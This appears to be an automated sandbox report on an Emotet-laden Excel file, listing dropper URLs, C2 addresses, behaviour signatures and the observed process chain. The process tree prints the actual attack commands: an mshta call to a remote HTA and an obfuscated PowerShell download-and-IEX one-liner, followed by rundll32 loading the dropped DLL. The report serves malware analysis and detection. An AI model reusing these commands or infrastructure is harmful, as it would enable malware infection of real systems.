Analysis
- max time kernel
121s - max time network
167s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 18:42
General
- Target tmpa_7wcrfz.xls
- Size 155KB
- Sample220127-xcq25shahn
- SHA256 c35dd21fc559e98eb140ef16e2deff9a25c9a4f41a30799057d9d5bc1f657e3a
Malware Config
Extracted
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hta
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hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html
Extracted
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ps1
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ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png
Extracted
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emotet
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Epoch4
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51.15.4.22:443
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173.214.173.220:8080
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212.237.5.209:443
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192.254.71.210:443
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216.158.226.206:443
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162.243.175.63:443
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212.24.98.99:8080
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58.227.42.236:80
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45.118.115.99:8080
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104.251.214.46:8080
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185.157.82.209:8080
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46.55.222.11:443
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188.40.137.206:8080
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81.0.236.90:443
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103.75.201.2:443
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129.232.188.93:443
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195.154.133.20:443
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159.8.59.82:8080
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79.172.212.216:8080
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138.185.72.26:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 5 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 19 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpa_7wcrfz.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.168/zqqw/zaas/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tpgycgdxjghvi\xxzcwvdzpw.khz",WXSqDuld8⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Tpgycgdxjghvi\xxzcwvdzpw.khz",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2760 -s 16564⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1148-382-0x0000000005300000-0x0000000005325000-memory.dmp
memory/1148-380-0x0000000005200000-0x0000000005225000-memory.dmp
memory/1148-378-0x0000000005120000-0x0000000005145000-memory.dmp
memory/1148-376-0x0000000005040000-0x0000000005065000-memory.dmp
memory/1148-374-0x0000000004F50000-0x0000000004F75000-memory.dmp
memory/1148-371-0x0000000004A10000-0x0000000004A35000-memory.dmp
memory/1260-286-0x0000027ED5440000-0x0000027ED5442000-memory.dmp
memory/1260-277-0x0000027EEF190000-0x0000027EEF1B2000-memory.dmp
memory/1260-310-0x0000027EEF880000-0x0000027EEF8F6000-memory.dmp
memory/1260-315-0x0000027ED5446000-0x0000027ED5448000-memory.dmp
memory/1260-287-0x0000027ED5443000-0x0000027ED5445000-memory.dmp
memory/1260-298-0x0000027EEF310000-0x0000027EEF34C000-memory.dmp
memory/2800-119-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2800-116-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2800-398-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2800-397-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2800-396-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2800-395-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2800-117-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2800-118-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2800-129-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp
memory/2800-128-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp
memory/2800-115-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp
memory/2924-366-0x0000000005910000-0x0000000005935000-memory.dmp
memory/2924-364-0x0000000005750000-0x0000000005775000-memory.dmp
memory/2924-353-0x0000000003670000-0x0000000003695000-memory.dmp
memory/2924-362-0x00000000056F0000-0x0000000005715000-memory.dmp
memory/2924-360-0x0000000005690000-0x00000000056B5000-memory.dmp
memory/2924-358-0x0000000005530000-0x0000000005555000-memory.dmp
memory/2924-356-0x0000000005400000-0x0000000005425000-memory.dmp